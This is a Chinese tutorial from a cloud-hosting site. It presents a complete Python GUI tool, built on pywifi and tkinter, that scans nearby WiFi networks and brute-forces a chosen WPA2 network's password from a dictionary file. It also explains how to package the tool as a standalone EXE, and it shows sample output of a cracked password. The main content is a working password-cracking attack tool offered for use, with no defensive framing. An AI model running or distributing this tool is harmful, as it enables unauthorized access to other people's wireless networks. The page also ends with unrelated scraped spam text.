温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
  • 忘记密码?
登录注册×
获取短信验证码
其他方式登录
点击 登录注册 即表示同意 《亿速云用户服务条款》
  • 服务器
  • 数据库
  • 开发技术
  • 网络安全
  • 互联网科技
登 录 注册有礼
最新更新 网站标签 地图导航
产品
  • 首页 > 
  • 教程 > 
  • 开发技术 > 
  • 编程语言 > 
  • 如何用python暴力破解wifi密码EXE应用

如何用python暴力破解wifi密码EXE应用

发布时间:2022-10-26 09:49:25 来源:亿速云 阅读:260 作者:iii 栏目: 编程语言

本篇内容介绍了“如何用python暴力破解wifi密码EXE应用”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!

前置准备-依赖库

  • comtypes

  • pywifi

  • pyintaller如何用python暴力破解wifi密码EXE应用

示例:使用pycharm ide 安装pywifi

如何用python暴力破解wifi密码EXE应用
当然你也可以直接使用pip install xxx 命令进行安装

Python tkinter编写GUI界面

本文使用TKinter实现GUI界面,自己写界面比较麻烦,可以使用一些可视化的工具(比如QT5)进行快速编排实现GUI代码自动化。

密码字典

密码字典是什么?
简单的说就是一个提前存放一系列密码的文本,里面全是数字、数字与字母的组合、手机号、座机号、生日等等。

本文测试时你可以自己手动创建密码字典;也可以下载以下密码字典库
如何用python暴力破解wifi密码EXE应用

开撸

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # 在Gui中打开文件浏览
import tkinter.messagebox  # 打开tkiner的消息提醒框

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # 密码文件路径
        self.get_value = StringVar()  # 设置可变内容
        # 获取破解wifi账号
        self.get_wifi_value = StringVar()
        # 获取wifi密码
        self.get_wifimm_value = StringVar()
        # 抓取网卡接口
        self.wifi = pywifi.PyWiFi()
        # 抓取第一个无线网卡
        self.iface = self.wifi.interfaces()[0]
        # 测试链接断开所有链接
        self.iface.disconnect()
        time.sleep(1)  # 休眠1秒
        # 测试网卡是否属于断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自动会调用的函数,返回自身的网卡
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # 设置窗口
    def set_init_window(self):
        self.init_window_name.title("普帝WIFI破解工具")
        self.init_window_name.geometry('+500+200')

        labelframe = LabelFrame(width=800, height=400, text="配置")  # 框架,以下对象都是对于labelframe中添加的
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="普帝金手指", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifi列表")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # 定义树形结构与滚动条
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # 表格的标题
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="signal")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # 搜索wifi
    def scans_wifi_list(self):  # 扫描周围wifi列表
        # 开始扫描
        print("^_^ 开始扫描附近wifi...")
        self.iface.scan()
        time.sleep(15)
        # 在若干秒后获取扫描结果
        scanres = self.iface.scan_results()
        # 统计附近被发现的热点数量
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 实际数据
        self.show_scans_wifi_list(scanres)
        return scanres
    # 显示wifi列表
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # 添加密码文件目录
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeview绑定事件
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # 读取密码字典,进行匹配
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('提示', '破解成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # 对wifi和密码进行匹配
    def connect(self, pwd_Str, wifi_ssid):
        # 创建wifi链接文件
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名称
        self.profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
        self.profile.key = pwd_Str  # 密码
        self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 设定新的链接文件
        self.iface.connect(self.tmp_profile)  # 链接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判断是否连接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 断开
        time.sleep(1)
        # 检查断开状态
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

打包成exe

pyinstaller -F -w -i 图标名.后缀 源文件.py

命令解释看文末解释

如何用python暴力破解wifi密码EXE应用

然后到你电脑上python安装目录下的Scripts\dist查看你打包的exe应用

如何用python暴力破解wifi密码EXE应用

演示

双击打包后的.exe脚本
如何用python暴力破解wifi密码EXE应用

STEP1: 点击搜索附件WIFI
STEP2: 添加密码文件目录
STEP3: 点击普帝金手指进行破解

如何用python暴力破解wifi密码EXE应用

^_^ 开始扫描附近wifi...
数量: 19
[*] 密码正确!wifi名:XXXXXXXX,匹配密码:XXXXXXXX

PS

pyinstaller打包错误解决

如出现以下错误
struct.error: unpack requires a buffer of 16 bytes
如何用python暴力破解wifi密码EXE应用

解决方法:使用在线转换ico工具来转换图片就可以了,需要转换成尺寸为16*16的
使用在线转换成ico的工具即可

pyintaller 常用打包命令解释

如何用python暴力破解wifi密码EXE应用

“如何用python暴力破解wifi密码EXE应用”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注亿速云网站,小编将为大家输出更多高质量的实用文章!

向AI问一下细节
推荐阅读:
  1. WiFi有密码和无密码连接
  2. 使用Java怎么暴力破解WIFI密码

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

python wifi exe
  • 上一篇新闻:
    php range不重复随机数如何实现
  • 下一篇新闻:
    windows万能网卡驱动如何使用

猜你喜欢

  • java字符串哈希算法怎么实现
  • sql中intersect的作用是什么
  • pg数据库怎么查看表结构
  • hive导入数据的方式有哪些
  • Python中的递归函数在什么情况下使用
  • WinForm中怎么使用菜单控件
  • java中comparator的用法是什么
  • PyQt5中怎么处理用户输入
  • WinForm中的消息框控件有什么用
  • hive创建分区表的方法是什么
最新资讯
  • Kali Linux的Docker镜像如何使用
  • Kali Linux是否支持容器化技术
  • 如何向Kali Linux的开发者提交bug报告或建议
  • Kali Linux是否有官方支持的论坛或邮件列表
  • Kali Linux的社区支持是否活跃
  • Kali Linux如何与其他Linux发行版进行比较
  • Kali Linux是否有官方的在线教程或视频教程
  • Kali Linux是否支持多语言界面
  • Kali Linux的更新策略是什么
  • Kali Linux的Clonezilla工具如何使用
相关推荐
  • 使用Python破解wifi密码的方法
  • wifi密码如何修改
  • 如何用Python破解wifi密码
  • 怎么样修改wifi密码
  • 如何查看自己的wifi密码
  • 怎么在python中使用DOS获取wifi密码
  • ​python如果如何破解WiFi密码
  • 如何用Wiwiz做WiFi认证
  • 怎么用Python查wifi密码
  • 电脑如何修改wifi密码

相关标签

python+selenium python基础知识 python深拷贝 python集合 python编程快速上手 python序列 python版本 python学习之 python注释 python局部变量 python2.7安装 ironpython python前景 python关键字 python程序 python 入门 python线程池threadpool python网络编程 python游戏 python3 os
AI

两个鬼故事工商起名注册查询系统诗经起名字建行结算通卡今年出生的孩子如何起名好?王和王怎么起名字好qq黄钻官网邮箱名字怎么起正式生的女孩起什么名字秦姓起名奶茶店起名宝典2018年宝宝起名 女宝宝南阳起名哪家好曾姓起名开店起名测用英文起名电脑疯子win7sqlserver2008r2宝宝起名 姓马匹潘女孩子起名大全手机铃声推荐数控刀具商标起名灵媒百度云258文学虚界2018起名日字旁个体户营业执照名字怎么起邓起名字大全男生女孩子起名带火的名字大全药窕淑女环保公司起名少年生前被连续抽血16次?多部门介入两大学生合买彩票中奖一人不认账让美丽中国“从细节出发”淀粉肠小王子日销售额涨超10倍高中生被打伤下体休学 邯郸通报单亲妈妈陷入热恋 14岁儿子报警何赛飞追着代拍打雅江山火三名扑火人员牺牲系谣言张家界的山上“长”满了韩国人?男孩8年未见母亲被告知被遗忘中国拥有亿元资产的家庭达13.3万户19岁小伙救下5人后溺亡 多方发声315晚会后胖东来又人满为患了张立群任西安交通大学校长“重生之我在北大当嫡校长”男子被猫抓伤后确诊“猫抓病”测试车高速逃费 小米:已补缴周杰伦一审败诉网易网友洛杉矶偶遇贾玲今日春分倪萍分享减重40斤方法七年后宇文玥被薅头发捞上岸许家印被限制高消费萧美琴窜访捷克 外交部回应联合利华开始重组专访95后高颜值猪保姆胖东来员工每周单休无小长假男子被流浪猫绊倒 投喂者赔24万小米汽车超级工厂正式揭幕黑马情侣提车了西双版纳热带植物园回应蜉蝣大爆发当地回应沈阳致3死车祸车主疑毒驾恒大被罚41.75亿到底怎么缴妈妈回应孩子在校撞护栏坠楼外国人感慨凌晨的中国很安全杨倩无缘巴黎奥运校方回应护栏损坏小学生课间坠楼房客欠租失踪 房东直发愁专家建议不必谈骨泥色变王树国卸任西安交大校长 师生送别手机成瘾是影响睡眠质量重要因素国产伟哥去年销售近13亿阿根廷将发行1万与2万面值的纸币兔狲“狲大娘”因病死亡遭遇山火的松茸之乡“开封王婆”爆火:促成四五十对奥巴马现身唐宁街 黑色着装引猜测考生莫言也上北大硕士复试名单了德国打算提及普京时仅用姓名天水麻辣烫把捣辣椒大爷累坏了

两个鬼故事 XML地图 TXT地图 虚拟主机 SEO 网站制作 网站优化